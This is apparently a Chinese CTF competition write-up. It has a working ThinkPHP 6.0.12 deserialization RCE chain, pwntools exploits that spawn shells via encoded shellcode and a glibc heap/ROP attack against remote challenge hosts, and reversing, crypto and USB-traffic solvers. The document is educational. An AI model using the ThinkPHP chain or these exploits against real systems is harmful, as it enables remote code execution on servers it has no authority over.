Web
ezpop
tp6.0.12 的反序列化洞,直接用现成的链的打就行
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = ['key' => ["cat /flag.txt"]];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['key' => ['system']];
$this->json = ['key',['key']];
$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace{
echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
Pwn
login-nomal
可见字符 shellcode,调用 ae64 脚本,rdx 直接打通
from pwn import *
from ae64 import AE64
import sys
context(os='linux', arch='amd64', log_level='debug')
if len(sys.argv) < 2:
debug = True
else:
debug = False
if debug:
p = process("./login")
libc = ELF("./libc-2.33.so")
else:
p = remote("101.201.123.35", 17186)
def debugf(b=0):
if debug:
if b:
gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))
else:
gdb.attach(p)
elf = ELF('./login')
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)
# debugf(0x0401008)
def Login(msg):
p.sendlineafter(">>> ", "opt:1\r\nmsg:%s\r\n" %msg)
def weak(msg):
p.sendlineafter(">>> ", "opt:2\r\nmsg:%s\r\n" %msg)
def Logout(msg):
p.sendlineafter(">>> ", "opt:3\r\nmsg:%s\r\n" %msg)
shellcode = asm(shellcraft.sh())
enc_shellcode = AE64().encode(shellcode, 'rdx', 0, 'fast')
# gdb.attach(p, "b *$rebase(0xe54)")
sleep(1)
Login("ro0t")
print(enc_shellcode.decode('latin-1'))
weak(enc_shellcode.decode('latin-1'))
p.interactive()
newest_note
2.34 版本,整数溢出 +uaf,先 leak tcache 的 key,然后伪造堆块拿 libc 和 environ 最后再伪造一个栈上的 chunk 到返回地址拿到 shell
from pwn import *
import sys
context(os='linux', arch='amd64', log_level='debug')
if len(sys.argv) < 2:
debug = True
else:
debug = False
if debug:
p = process("./newest_note")
libc = ELF("./libc.so.6")
else:
p = remote("47.93.180.93", 27873)
libc = ELF("./libc.so.6")
def debugf(b=0):
if debug:
if b:
gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))
else:
gdb.attach(p)
elf = ELF('./newest_note')
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)
def menu(i):
sla(b':',str(i))
def add(index,content):
menu(1)
sla('Index: ',str(index))
sla('Content: ',content)
def flip(index):
menu(2)
sla('Index: ',str(index))
def show(index):
menu(3)
sla('Index: ',str(index))
ru('will be? :')
sl(str(0x300200020//8))
add(0,b"aaa")
add(1,b"bbb")
for i in range(0,24):
add(4,(p64(0)+p64(0x21))*3)
flip(0)
show(0)
ru('Content: ')
key = u64(p.recv(5).ljust(8,b'\x00'))
flip(1)
show(1)
ru('Content: ')
heapinfo = u64(ru('\n')[:-1].ljust(8,b'\x00'))
heapaddr = heapinfo ^ key
heap_base = heapaddr - 0x2a0
print("key: " + hex(key))
print("heapaddr: " + hex(heapaddr))
print("heap_base: " + hex(heap_base))
add(0,p64(0))
add(1,p64(key)+p64(0x41)+p64(key)+p64(0x41)+p64(key)+p64(0x41))
add(2,3*(p64(0)+p64(0x21)))
chunk1_size = heap_base+0x2b0
print("chunk1 size: " + hex(chunk1_size))
print("enc chunk1 size: " + hex((chunk1_size)^key))
add(0x41cc70//8, p64(0)+p64(0x41)+p64(chunk1_size^key) +p64(0) )
add(3,p64(0)*4+p64(0)+p64(0x420))
add(4,p64(0)*3+p64(0x421))
flip(0)
show(0)
libc_info = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
libc.address = libc_info - 0x218cc0
print("libc_info: " + hex(libc_info))
print("libc_base: " + hex(libc.address))
env = libc.symbols['environ'] - 0x10
add(0,b"a"*8)
flip(2)
flip(0)
flip(4)
add(4,p64(0)*3+p64(0x41)+p64(env^key))
add(0,b'aaa')
add(2,b'a'*15)
show(2)
stack2= u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("stack_info2: " + hex(stack2))
ret2 = stack2 - 0x158
flip(1)
flip(0)
flip(4)
success("ret_enc: " + hex(ret2^key))
success("ret_addr: " + hex(ret2))
add(4,p64(0)*3+p64(0x41)+p64(ret2^key))
add(1,b'aaa')
pop_rdi_ret = 0x000000000002e6c5
ret = 0x000000000004a7cc
payload =b"a"*8 + p64(pop_rdi_ret + libc.address) + p64(libc.search(b"/bin/sh\x00").__next__()) + p64(ret + libc.address) + p64(libc.sym['system'])
add(4,payload)
p.interactive()
Re
baby_tree
手撸 ast,还原到 swift 源码
func check(encoded:String, keyValue:String) -> (Bool){
var b = [UInt8](encoded.utf8)
var k = [UInt8](keyValue.utf8)
var r0, r1, r2, r3: UInt8
for i in 0...b.count-4{
(r0, r1, r2, r3) = (b[i], b[i+1], b[i+2], b[i+3])
b[i+0] = r2 ^ ((k[0] + (r0 >> 4)) & 0xff)
b[i+1] = r3 ^ ((k[1] + (r1 >> 2)) & 0xff)
b[i+2] = r0 ^ k[2]
b[i+3] = r1 ^ k[3]
(k[0], k[1], k[2], k[3]) = (k[1], k[2], k[3], k[0])
}
return b == [88, 35, 88, 225, 7, 201, 57, 94, 77, 56, 75, 168, 72, 218, 64, 91, 16, 101, 32, 207, 73, 130, 74, 128, 76, 201, 16, 248, 41, 205, 103, 84, 91, 99, 79, 202, 22, 131, 63, 255, 20, 16]
}
用 z3 求解
from z3 import *
enc = [
88, 35, 88, 225, 7, 201, 57, 94, 77, 56, 75, 168, 72, 218, 64,
91, 16, 101, 32, 207, 73, 130, 74, 128, 76, 201, 16, 248, 41, 205,
103, 84, 91, 99, 79, 202, 22, 131, 63, 255, 20, 16
]
k = [0x33, 0x34, 0x35, 0x79]
s = Solver()
flag = [BitVec('flag%d' % i, 16) for i in range(len(enc))]
for i in range(len(flag) - 3):
r0, r1, r2, r3 = flag[i], flag[i + 1], flag[i + 2], flag[i + 3]
flag[i + 0] = r2 ^ ((k[0] + (r0 >> 4)) & 0xff)
flag[i + 1] = r3 ^ ((k[1] + (r1 >> 2)) & 0xff)
flag[i + 2] = r0 ^ k[2]
flag[i + 3] = r1 ^ k[3]
(k[0], k[1], k[2], k[3]) = (k[1], k[2], k[3], k[0])
for i in range(len(enc)):
s.add(enc[i] == flag[i])
if s.check() == sat:
print (s.model())
else:
print ("no res")
babycode
mruby 字节码,参考文档:https://github.com/mruby/mruby/blob/c6c789d2e84085831351740684b72f9a5086cd2d/include/mruby/ops.h
手撸还原源码
class Crypt
class CIPHER
XX = 305419896
YY = 16
def self.encrypt(t, p)
cip = CIPHER.new()
return cip.encrypt(t, p)
end
def encrypt(t, p)
key = to_key(p)
c = []
n = 0
while n < t.length do
num1 = t[n].ord.to_i << 24
num1 += t[n + 1].ord.to_i << 16
num1 += t[n + 2].ord.to_i << 8
num1 += t[n + 3].ord.to_i
num2 = t[n + 4].ord.to_i << 24
num2 += t[n + 5].ord.to_i << 16
num2 += t[n + 6].ord.to_i << 8
num2 += t[n + 7].ord.to_i
enum1, enum2 = enc_one(num1, num2, key)
c << enum1
c << enum2
n += 8
end
return "".join(c.collect{| x |sprintf('%.8x', x)})
end
private
def to_key(p)
return p.unpack("L*")
end
def enc_one(num1, num2, key)
y, z, s = num1, num2, 0
YY.times{ | i |
y += (((z << 3) ^ (z >> 5)) + z) ^ (s + key[((s >> 11) + 1) & 3])
y &= 4294967295
s += XX
z += (((y << 3) ^ (y >> 5)) + y) ^ (s + key[(s + 1) & 3])
z &= 4294967295
}
end
end
end
def check(p)
i = 0
lst_ch = 0
while i < p.length do
c = p[i].ord
p[i] = (c ^ lst_ch ^ (i + 1)).chr
lst_ch = c
i += 1
end
k = "aaaassssddddffff"
cipher_text = Crypt::CIPHER.encrypt(p, k)
if cipher_text == "f469358b7f165145116e127ad6105917bce5225d6d62a714c390c5ed93b22d8b6b102a8813488fdb"
return true
end
return false
end
p = gets.chomp
if check(p)
puts "yes"
end
修改后的 xtea,解密脚本:
#include <stdio.h>
#include <stdint.h>
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], delta=305419896, sum=delta*num_rounds;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 3) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum + 1) & 3]);
sum -= delta;
v0 -= (((v1 << 3) ^ (v1 >> 5)) + v1) ^ (sum + key[((sum>>11) + 1) & 3]);
}
v[0]=v0; v[1]=v1;
}
int main() {
uint32_t v[] = {0xf469358bu, 0x7f165145u, 0x116e127au, 0xd6105917u, 0xbce5225du, 0x6d62a714u, 0xc390c5edu, 0x93b22d8bu, 0x6b102a88u, 0x13488fdbu};
uint32_t const k[4] = {0x61616161u, 0x73737373u, 0x64646464u, 0x66666666u};
unsigned int r=16;
decipher(r, v, k);
decipher(r, v + 2, k);
decipher(r, v + 4, k);
decipher(r, v + 6, k);
decipher(r, v + 8, k);
printf("%08x %08x %08x %08x %08x %08x %08x %08x %08x %08x\n",v[0],v[1], v[2], v[3], v[4], v[5], v[6], v[7], v[8], v[9]);
return 0;
}
最后一个异或使用 python 求解
a = [0x67, 0x08, 0x0e, 0x02, 0x19, 0x4b, 0x50, 0x0d, 0x5c, 0x58, 0x5f, 0x0b, 0x5e, 0x40, 0x46, 0x15, 0x11, 0x47, 0x0a, 0x08, 0x15, 0x42, 0x11, 0x56, 0x0d, 0x47, 0x49, 0x1e, 0x04, 0x03, 0x1d, 0x26, 0x27, 0x71, 0x21, 0x76, 0x26, 0x24, 0x27, 0x65]
lst_ch = 0
for i in range(40):
lst_ch = a[i] ^ lst_ch ^ (i + 1)
print (chr(lst_ch), end='')
secreeeeet
rabbit 加密
key 前 5 字节随机生成,后面 11 字节根据前面 5 字节生成
最后用 3 个随机字节异或
已知 flag.png 的文件头,可以爆破得到 key
直接用网上的 Rabbit 库解密
import hashlib
from Rabbit import *
r = open('flag.png.enc', 'rb')
message = r.read()
start = "0123456789"
s = "qscfthnjik"
for s1 in s:
for s2 in s:
for s3 in s:
for s4 in s:
for s5 in s:
key = [ord(s1), ord(s2), ord(s3), ord(s4), ord(s5)]
for i in range(11):
key.append((key[-1] + key[-2]) & 0xff)
for i in range(16):
key[i] = key[i].to_bytes(1, 'big')
key = b''.join(key)
msg = Rabbit(key, b'\x01\x02\x03\x04\x05\x06\x07\x08').encrypt(message[:8]).encode()
for i in start:
if ord(i) ^ msg[0] == 0x89:
for j in start:
if ord(j) ^ msg[1] == 0x50:
for k in start:
if ord(k) ^ msg[2] == 0x4e:
if ord(i) ^ msg[3] == 0x47:
msg = Rabbit(key, 0).encrypt(message).encode()
ans = b''
for i in range(len(msg)):
ans += chr(
(msg[i])
^ key[i % 3]).encode()
print(ans)
Crypto
签到电台
首先发送一个 s 开启电报,抓包可以看到返回一个 session,再随意发一个字符发现 session 添加到了 cookie 字段中,之后直接发送电码本和掩码的模 10 加结果即可,注意中间是用 J 分隔的,脚本如下
plaint = '1732251413440356045166710055'
mask = '1021723964055826996370726447'
msg = ''
for i in range(len(plaint)):
msg += str((int(plaint[i]) + int(mask[i])) % 10)
for i in range(len(msg)):
if i % 4 == 0:
print('J')
print(msg[i], end="")
基于挑战码的双向认证123
学着 server 的代码填空即可,主要填两个地方,填完发现仨题都能打通
在 152 行处
Memset(Buf,0,DIGEST_SIZE*4);
Strncpy(Buf,client_state->key,DIGEST_SIZE);
Memcpy(Buf+DIGEST_SIZE,client_state->nonceA,DIGEST_SIZE);
Memcpy(Buf+DIGEST_SIZE*2,client_state->nonceB,DIGEST_SIZE);
calculate_context_sm3(Buf,DIGEST_SIZE*3,Buf+DIGEST_SIZE*3);
在 184 行处
Memset(Buf,0,DIGEST_SIZE*2);
Strncpy(Buf,client_state->key,DIGEST_SIZE);
Memcpy(Buf+DIGEST_SIZE,client_state->nonceB,DIGEST_SIZE);
calculate_context_sm3(Buf,DIGEST_SIZE*2,login_info->passwd);
ISO9798
随意发送 16 字节后拿到 E(r_A||r_B||B)
,试了几次发现用的是分组加密的 ECB 模式,直接发送给服务端 E(r_B)||E(r_A)
即可
Misc
问卷
填问卷,拿 flag
ez_usb
两个键盘的流量,一个是 rar,一个是密码,抓出流量解密拿到 flag
import sys
import os
presses = []
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
# tshark -r ez_usb.pcapng -T fields -e usb.capdata -Y "usb.device_address==8" | sed '/^\s*$/d' > usb1.dat
with open("usb1.dat", "r") as f:
for line in f:
presses.append(line[0:-1])
result = ""
for press in presses:
if press == '':
continue
if ':' in press:
Bytes = press.split(":")
else:
Bytes = [press[i:i+2] for i in range(0, len(press), 2)]
if Bytes[0] == "00":
if Bytes[2] != "00" and normalKeys.get(Bytes[2]):
result += normalKeys[Bytes[2]]
elif int(Bytes[0],16) & 0b10 or int(Bytes[0],16) & 0b100000: # shift key is pressed.
if Bytes[2] != "00" and normalKeys.get(Bytes[2]):
result += shiftKeys[Bytes[2]]
else:
print("Unknow Key : %s" % (Bytes[0]))
print("got : %s" % (result))